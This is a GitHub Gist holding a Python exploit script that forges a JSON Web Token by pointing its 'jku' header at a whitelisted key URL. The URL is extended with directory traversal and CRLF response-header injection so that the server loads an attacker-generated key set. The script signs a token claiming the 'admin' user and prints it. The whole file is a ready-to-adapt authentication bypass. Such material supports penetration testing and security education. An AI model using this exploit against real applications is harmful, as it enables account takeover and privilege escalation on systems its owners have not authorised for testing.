Last active
November 1, 2022 03:11
-
-
Save imparabl3/efcf4a991244b9f8f99ac39a7c8cfe6f to your computer and use it in GitHub Desktop.
Creating JWT with HTTP response Header Injection
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/lib/env python3 | |
# For more description with other attacks check out my BLOG ==> https://imparable.medium.com/attacking-json-web-tokens-jwts-d1d51a1e17cb | |
import OpenSSL | |
import base64 | |
import json | |
import hashlib | |
import urllib | |
from cryptography.hazmat.primitives import hashes | |
from cryptography.hazmat.primitives.asymmetric import padding | |
# Creating Private Key | |
key = OpenSSL.crypto.PKey() | |
key.generate_key(type=OpenSSL.crypto.TYPE_RSA,bits=2048) | |
priv = key.to_cryptography_key() | |
# Creating Public Key | |
pub = priv.public_key() | |
# Creating "n" and "e" attributes for JWK | |
n = pub.public_numbers().n | |
e = pub.public_numbers().e | |
e = base64.urlsafe_b64encode((e).to_bytes((e).bit_length()//8+1, byteorder='big')).decode('UTF-8').rstrip("=") | |
n = base64.urlsafe_b64encode((n).to_bytes((n).bit_length()//8+1, byteorder='big')).decode('UTF-8').rstrip("=") | |
# Public keys in JSON format | |
jwks = { "keys": [ | |
{ | |
"kty": "RSA", | |
"use": "sig", | |
"kid": "imparable", | |
"n": n, | |
"e": e, | |
"alg": "RS256" | |
} | |
] | |
} | |
jwk = json.dumps(jwks) | |
### ==================== | |
# Suppose if an Application is checking for this URL in "jku" Header ==> https://trustedsite.com/.well-known/jwks.json | |
# And you found a HTTP response Header injection in ==> https://application.com/endpoint?id=value | |
# Here "id" parameter is vulnerable and now you can combine this path with the whitelisted "jku" URL to craft the exploit: | |
# For example: Crafted URL ==> https://trustedsite.com/.well-known/jwks.json/../../endpoint?id=value | |
# Note: This exploit would not be possible without directory traversal attack. | |
### ==================== | |
# Paste your Crafted URL like explained above and Content-Length header will be set to the correct value and inline JWKS | |
payload = "<Crafted URL>%0d%0aContent-Length:%20"+ str(len(jwk)) + "%0d%0a%0d%0a" + str(urllib.parse.quote(jwk)) | |
# Header section of JWT | |
header = {"typ":"JWT","alg":"RS256","jku":""} | |
# Paste your Payload section of JWT | |
body = {"username":"admin"} | |
# Adding payload in "jku" parameter | |
header["jku"] = payload | |
# Encoding Header and Payload section of JWT | |
enc_header = base64.urlsafe_b64encode(bytes(json.dumps(header), encoding="UTF-8")).decode('UTF-8').rstrip("=") | |
enc_body = base64.urlsafe_b64encode(bytes(json.dumps(body), encoding="UTF-8")).decode('UTF-8').rstrip("=") | |
# Concatenation of encoded Header and Payload | |
token = (enc_header + "." + enc_body) | |
# Creating Signature | |
sig = priv.sign(bytes(token, encoding="UTF-8"), algorithm=hashes.SHA256(), padding=padding.PKCS1v15()) | |
# Printing final JWT | |
print(token + "." + base64.urlsafe_b64encode(sig).decode("UTF-8").rstrip("=")) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment